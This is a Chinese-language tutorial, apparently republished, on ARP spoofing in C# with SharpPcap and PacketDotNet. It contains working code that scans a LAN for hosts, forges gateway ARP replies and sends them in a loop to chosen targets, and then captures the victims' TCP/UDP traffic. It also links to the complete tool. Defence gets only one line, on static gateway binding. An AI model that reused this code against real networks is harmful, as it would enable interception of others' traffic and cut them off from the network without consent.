LOGO OA教程 ERP教程 模切知识交流 PMS教程 CRM教程 开发文档 其他文档  
 
网站管理员

C# 通过ARP技术来观察目标主机数据包

freeflydom
2024年4月3日 17:29 本文热度 510

由于之前写的C# 实现Arp欺诈的文章属于网络攻击,不能够被展示,所以这边我们稍微说一下C#调用ARP包以及查看其他电脑上网数据包的技术,委婉的说一下ARP在局域网之中的应用。
本文章纯属技术讨论,并且涵盖了如何去防止ARP攻击的手段。

ARP作用

学到一点网络的都知道,ARP本身用于IP地址和MAC地址的转换,主要是在七层网络协议中,网络层之下就是使用MAC地址进行通信了,这样的设计本身也是底层可以无关上层通讯协议的变化而变化,而提供一个统一的接口。

比如局域网中的A主机和B主机,如果A主机的ARP缓存中有B主机的MAC地址,则直接发送数据到对应MAC地址,没有则通过发送ARP广播数据包的方式,根据回应来更新ARP缓存。

ARP欺骗原理

创建一个arp包,将网关ip地址和错误的网关mac地址发送给目标主机,让主机更新错误的mac-ip地址映射到缓存中。

工具

开源的.net arp库: SharpPcap,PacketDotNet
项目中导入:

<PackageReference Include="PacketDotNet" Version="1.4.7" />

<PackageReference Include="SharpPcap" Version="6.2.5" />

实战

获取本机所有的网络设备

LibPcapLiveDeviceList.Instance

获取对应设备的ip和mac地址,以及网关ip

foreach (var address in LibPcapLiveDevice.Addresses)

{

    if (address.Addr.type == Sockaddr.AddressTypes.AF_INET_AF_INET6)

    {

        //ipv4地址

        if (address.Addr.ipAddress.AddressFamily == AddressFamily.InterNetwork)

        {

            LocalIp = address.Addr.ipAddress;

            break;

        }

    }

}


foreach (var address in LibPcapLiveDevice.Addresses)

{

    if (address.Addr.type == Sockaddr.AddressTypes.HARDWARE)

    {

        LocalMac = address.Addr.hardwareAddress; // 本机MAC

    }

}


var gw = LibPcapLiveDevice.Interface.GatewayAddresses; // 网关IP

//ipv4的gateway

GatewayIp = gw?.FirstOrDefault(x => x.AddressFamily == AddressFamily.InterNetwork);

获取网关mac地址

通过发送arp包到网关,获取响应包,从响应包中获取mac地址。
1.创建arp包

var ethernetPacket = new EthernetPacket(localMac, PhysicalAddress.Parse("FF-FF-FF-FF-FF-FF"), EthernetType.Arp);

var arpPacket = new ArpPacket(ArpOperation.Request, PhysicalAddress.Parse("00-00-00-00-00-00"), destinationIP, localMac, localIP);

ethernetPacket.PayloadPacket = arpPacket;

2.发送arp包到网关,并且等待下一个回复包。

LibPcapLiveDevice.Open(DeviceModes.Promiscuous, 20);

LibPcapLiveDevice.Filter = arpFilter;

var lastRequestTime = DateTime.FromBinary(0);

var requestInterval = TimeSpan.FromMilliseconds(200);

ArpPacket arpPacket = null;

var timeoutDateTime = DateTime.Now + _timeout;

while (DateTime.Now < timeoutDateTime)

{

    if (requestInterval < (DateTime.Now - lastRequestTime))

    {

        LibPcapLiveDevice.SendPacket(request);

        lastRequestTime = DateTime.Now;

    }


    if (LibPcapLiveDevice.GetNextPacket(out var packet) > 0)

    {

        if (packet.Device.LinkType != LinkLayers.Ethernet)

        {

            continue;

        }

        var pack = Packet.ParsePacket(packet.Device.LinkType, packet.Data.ToArray());

        arpPacket = pack.Extract<ArpPacket>();

        if (arpPacket == null)//是否是一个arp包

        {

            continue;

        }


        if (arpPacket.SenderProtocolAddress.Equals(destIP))

        {

            break;

        }

    }

}


// free the device

LibPcapLiveDevice.Close();

return arpPacket?.SenderHardwareAddress;

扫描局域网内活动ip和mac地址

1.设置扫描的ip区间,生成每个ip的arp请求包

var arpPackets = new Packet[targetIPList.Count];

for (int i = 0; i < arpPackets.Length; ++i)

{

    arpPackets[i] = BuildRequest(targetIPList[i], LocalMac, LocalIp);

}

2.发送arp包到各个ip,如果回复了则在线,超时则认为不活动

if (_cancellationTokenSource.IsCancellationRequested)

{

    break;

}

var lastRequestTime = DateTime.FromBinary(0);

var requestInterval = TimeSpan.FromMilliseconds(200);

var timeoutDateTime = DateTime.Now + _timeout;

while (DateTime.Now < timeoutDateTime)

{

    if (_cancellationTokenSource.IsCancellationRequested)

    {

        break;

    }


    if (requestInterval < (DateTime.Now - lastRequestTime))

    {

        LibPcapLiveDevice.SendPacket(arpPackets[i]);

        lastRequestTime = DateTime.Now;

    }


    if (LibPcapLiveDevice.GetNextPacket(out var packet) > 0)

    {

        if (packet.Device.LinkType != LinkLayers.Ethernet)

        {

            continue;

        }

        var pack = Packet.ParsePacket(packet.Device.LinkType, packet.Data.ToArray());

        var arpPacket = pack.Extract<ArpPacket>();

        if (arpPacket == null)

        {

            continue;

        }


        //回复的arp包并且是我们请求的ip地址

        if (arpPacket.SenderProtocolAddress.Equals(targetIPList[i]))

        {

            Application.Current.Dispatcher.Invoke(() =>

            {

                ///增加到IPlist中

                Computers.Add(new Computer()

                {

                    IPAddress = arpPacket.SenderProtocolAddress.ToString(),

                    MacAddress = arpPacket.SenderHardwareAddress?.ToString(),

                });

            });


            break;

        }

    }

}

指定ip/ips攻击

攻击包就不能创建请求包, 应该伪造一个来自网关的响应包,从而将网关错误的mac地址更新到目标主机的缓存中。
1.创建错误的响应包

private Packet BuildResponse(IPAddress destIP, PhysicalAddress destMac, IPAddress senderIP, PhysicalAddress senderMac)

{

    var ethernetPacket = new EthernetPacket(senderMac, destMac, EthernetType.Arp);

    var arpPacket = new ArpPacket(ArpOperation.Response, destMac, destIP, senderMac, senderIP);

    ethernetPacket.PayloadPacket = arpPacket;

    return ethernetPacket;

}

调用创建arp响应包,但是可以看到最后一个mac地址,应该是网关的mac地址,我们替换成了自己本地mac地址。

BuildResponse(IPAddress.Parse(compute.IPAddress), PhysicalAddress.Parse(compute.MacAddress), GatewayIp, LocalMac);

2.直接以1000ms的间隔轮询发送响应包到目标主机

var aTask = Task.Run(async () =>

{

    while (true)

    {

        if (_cancellationTokenSource1.IsCancellationRequested)

        {

            break;

        }

        try

        {

            LibPcapLiveDevice.SendPacket(packet);

        }

        catch (Exception ex)

        {

            MessageBox.Show(ex.Message);

        }


        await Task.Delay(1000);

    }

    LibPcapLiveDevice.Close();

}, _cancellationTokenSource1.Token);

获取网络数据包

此时的被攻击的电脑,由于它的网关对应的MAC地址被我们替换成了自己电脑的MAC,所以原本通过网关发送的数据包,都会发送到我们电脑上来,我们不做任何处理就会导致电脑无法上网,我们可以通过监听网卡查看来自该电脑的数据包,从而窥探一些请求。

/// <summary>

/// 监听到攻击的网卡收到的数据包

/// </summary>

/// <param name="sender"></param>

/// <param name="e"></param>

private void OnPacketArrival(object sender, PacketCapture e)

{

    try

    {

        var device = sender as LibPcapLiveDevice;

        var packet = Packet.ParsePacket(e.Device.LinkType, e.Data.ToArray());

        if (packet != null)

        {

            if (packet is EthernetPacket ethernetPacket) //数据包是以太网数据

            {

                var targetComputer = ArpAttackComputers.FirstOrDefault(x => x.MacAddress == ethernetPacket.SourceHardwareAddress.ToString());


                if (targetComputer != null)

                {

                    var ipPacket = ethernetPacket.Extract<IPPacket>();

                    if (ipPacket != null)

                    {

                        var packetViewModel = new PacketViewModel();

                        packetViewModel.SourceIpAddress = ipPacket.SourceAddress.ToString();

                        packetViewModel.TargetIpAddress = ipPacket.DestinationAddress.ToString();


                        var udpPacket = ipPacket.Extract<UdpPacket>();

                        var tcpPacket = ipPacket.Extract<TcpPacket>();

                        packetViewModel.Type = "IP";


                        if (udpPacket != null)

                        {

                            packetViewModel.SourcePort = udpPacket.SourcePort;

                            packetViewModel.TargetPort = udpPacket.DestinationPort;

                            packetViewModel.Type = "UDP";

                        }


                        if (tcpPacket != null)

                        {

                            packetViewModel.SourcePort = tcpPacket.SourcePort;

                            packetViewModel.TargetPort = tcpPacket.DestinationPort;

                            packetViewModel.Type = "TCP";

                        }


                        targetComputer.AddPacket(packetViewModel);

                    }

                    else

                    {

                        ///mac地址没啥好记录的都知道了

                        var packetViewModel = new PacketViewModel();

                        packetViewModel.Type = "以太网";

                        targetComputer.AddPacket(packetViewModel);

                    }

                }

            }

        }

    }

    catch (Exception) 

    {

    }

}

我们解析了IP数据包,TCP以及UDP包。

工具页面

如何预防?

一般只需要本地将网关和MAC地址静态绑定即可。

完整代码和工具

https://github.com/BruceQiu1996/ArpSpoofing


作者qwqwQAQ 转自https://www.cnblogs.com/qwqwQAQ/p/18118712


该文章在 2024/4/8 11:51:26 编辑过
关键字查询
相关文章
正在查询...
点晴ERP是一款针对中小制造业的专业生产管理软件系统,系统成熟度和易用性得到了国内大量中小企业的青睐。
点晴PMS码头管理系统主要针对港口码头集装箱与散货日常运作、调度、堆场、车队、财务费用、相关报表等业务管理,结合码头的业务特点,围绕调度、堆场作业而开发的。集技术的先进性、管理的有效性于一体,是物流码头及其他港口类企业的高效ERP管理信息系统。
点晴WMS仓储管理系统提供了货物产品管理,销售管理,采购管理,仓储管理,仓库管理,保质期管理,货位管理,库位管理,生产管理,WMS管理系统,标签打印,条形码,二维码管理,批号管理软件。
点晴免费OA是一款软件和通用服务都免费,不限功能、不限时间、不限用户的免费OA协同办公管理系统。
Copyright 2010-2024 ClickSun All Rights Reserved